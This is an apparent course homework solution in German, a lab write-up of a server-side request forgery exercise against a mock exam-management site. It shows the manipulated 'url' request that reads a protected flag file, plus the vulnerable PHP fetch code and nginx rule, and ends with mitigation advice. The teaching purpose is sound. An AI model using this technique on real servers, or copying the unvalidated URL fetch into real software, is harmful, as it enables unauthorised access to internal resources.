Lösung

SSRF

Lösung der Hausaufgabe

Hinweis: Im Folgenden wird die IP-Adresse des Servers durch `<SERVER_IP>` ersetzt.

Wir loggen uns mit den Nutzerdaten matrikelnr: `123456` und dem Passwort `ssrfmaster` ein. Damit kommen wir auf die Übersichtsseite, wo sich weitere Informationen zur Aufgabe befinden. Wir sehen, dass es sich bei der Software um ein Prüfungsorganisationssystem handelt.

Laut Aufgabenstellung befindet sich eine Flag im Verzeichnis `/flag/flag.txt`. Ebenso ist der Hinweis gegeben, dass diese nicht von außen aufrufbar ist. Wir überprüfen das zunächst und stellen fest, dass nginx den Zugriff auf den Pfad tatsächlich nicht erlaubt.

Wir schauen uns die Website genauer an: Auf der Hauptseite befindet sich eine Übersicht über Klausuren mit ihrem Schnitt. Wenn wir auf eine der Klausuren klicken, werden wir auf eine Seite weitergeleitet, auf welcher wir zunächst die Daten der Klausur erneut angezeigt bekommen und zusätzlich nun auch unsere Note über einen Button anzeigen lassen.

Dafür wird folgende Request gesendet (über Burp oder den Inspector im Browser einsehbar):

```
GET http://<SERVER_IP>/ssrf/view_vorlesung.php
      ?url=http%3A%2F%2F<SERVER_IP>%2Fssrf%2Fnote.php&vorlesung=SSE
```

Zum einfacheren Verständnis nochmal als JSON-Objekt:

```
{
    "GET": {
        "scheme": "http",
        "host": "<SERVER_IP>",
        "filename": "/ssrf/view_vorlesung.php",
        "query": {
            "url": "http://<SERVER_IP>/ssrf/note.php",
            "vorlesung": "SSE"
        },
        "remote": {
            "Address": "<SERVER_IP>:80"
        }
    }
}
```

Wir sehen, dass bei der Anfrage eine URL als GET-Parameter übergeben wird, was uns hellhörig machen sollte. Das Anzeigen der Note funktioniert offensichtlich über einen API-Endpunkt des Servers: `note.php`. Zudem wird per GET-Parameter die Vorlesung übergeben. `note.php` erfragt daraufhin die Note des eingeloggten Studierenden und gibt diese aus.

Um an unsere Flag zu kommen müssen wir nun eine SSRF durchführen. Da wir den Ort der FLAG (`/flag/flag.txt`) kennen, müssen wir nun einfach den `url`-Parameter ändern. Dies können wir wie in den anderen Übungen mittels `Resend` in den Dev-Tools oder durch den Intruder in Burp Suite. Unsere Request sollte dann so aussehen:

```
{
    "GET": {
        "scheme": "http",
        "host": "<SERVER_IP>",
        "filename": "/ssrf/view_vorlesung.php",
        "query": {
            "url": "http://<SERVER_IP>/ssrf/flag/flag.txt",
            "vorlesung": "SSE"
        },
        "remote": {
            "Address": "<SERVER_IP>:80"
        }
    }
}
```

Die Webseite ruft nun anstelle von `noten.php` die Seite `/flag/flag.txt` auf und bettet diese an der Stelle der Note ein, uns wird die Flag `FLAG{validate ur inputs >.<}` angezeigt. Hiermit haben wir den Schutz erfolgreich umgangen und eine lokale Server-side Request Forgery durchgeführt.

Warum ist das Programm unsicher?

Das Programm nutzt einen internen API-Aufruf. Der Webserver stellt eine Anfrage an sich selber, die vom Endpunkt `note.php` beantwortet wird. Dies ist folgendermaßen implementiert:

```
    if ($_GET["url"] != null) {
    $note = file_get_contents($_GET["url"]
            ."?vorlesung=".urlencode($_GET["vorlesung"])
            ."&matrikelnr=".urlencode($_SESSION["matrikelnr"]));
  }
```

Wenn der GET-Parameter `url` gesetzt ist, wird die Note mit einem Aufruf an `file_get_contents(...)` erfragt. Dafür stellt der Webserver eine Anfrage an die übergebene URL und schreibt die empfangenen Daten in die Variable `$note`.

Dies können wir ausnutzen, indem wir die übergeben URL zu der URL, an der die Flagge liegt ändern. Der Webserver stellt dann eine Request an sich selber. Der Zugriff ist möglich, da die Flagge mit folgender nginx-Konfiguration geschützt ist:

```
    location ~ /ssrf/flag {
        allow <SERVER_IP>;
        deny all;
        include snippets/fastcgi-php.conf;
        fastcgi_pass unix:/var/run/php/php7.2-fpm.sock;
    }
```

Der lokalen IP des Servers wird der Zugriff erlaubt, weshalb die Request erfolgreich beantwortet wird. Hiermit könnte beispielsweise ein Admin-Panel o.ä. geschützt sein, um nur einen Zugriff von `localhost` zu erlauben.

Wie ließe sich die Schwachstelle verhindern?

Vermeiden ließe sich die Schwachstelle entweder durch Änderungen im php-Code, z.B. indem die angefragt URL nicht durch Nutzereingaben veränderbar ist oder durch ein Validieren der Nutzereingaben. Es könnte beispielsweise überprüft werden, ob die URL eine erlaubte für die Notenabfrage ist.

Auch könnte eine zusätzliche Authentifizierung für sensible Bereiche eingeführt werden oder diese stärker vom Programm abgetrennt laufen, beispielsweise auf einem eigenen Webserver mit Firewall.